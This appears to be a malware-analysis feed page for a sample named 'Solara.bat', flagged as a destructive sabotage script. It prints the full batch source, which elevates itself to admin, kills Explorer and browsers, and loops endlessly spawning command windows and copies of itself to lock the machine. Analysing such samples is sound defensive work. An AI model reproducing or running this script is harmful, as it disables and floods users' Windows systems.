Suspicious 80% Download

Solara.bat

Destructive system sabotage script

Batch Start-Process self relaunchBatch launches an executable payload
SHA-25667bff6608e898dc46685c36616fa6d41096ea4ef5eb66d854f4237c2ed4b7eed

Evidence

Checks Windows admin access with net session lines 1–25
1@echo off
2title SYSTEM ANNIHILATION
3color 04
4:: language: Batch, file: annihilate_and_flood.bat, target: Windows 11
5
6net session >nul 2>&1
7if %errorLevel% neq 0 (
8 powershell -Command "Start-Process '%~f0' -Verb RunAs"
9 exit
10)
11
12:: Terminate desktop shell and common user applications immediately
13taskkill /f /im explorer.exe >nul 2>&1
14taskkill /f /im chrome.exe >nul 2>&1
15taskkill /f /im msedge.exe >nul 2>&1
16taskkill /f /im discord.exe >nul 2>&1
17taskkill /f /im steam.exe >nul 2>&1
18taskkill /f /im firefox.exe >nul 2>&1
19
20:: High-speed CMD process flooding and self-replication loop
21:flood
22start cmd.exe /k "echo SYSTEM LOCKED && color 0c"
23start cmd.exe /k "echo ACCESS DENIED && color 4f"
24start "" "%~f0"
25goto flood

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.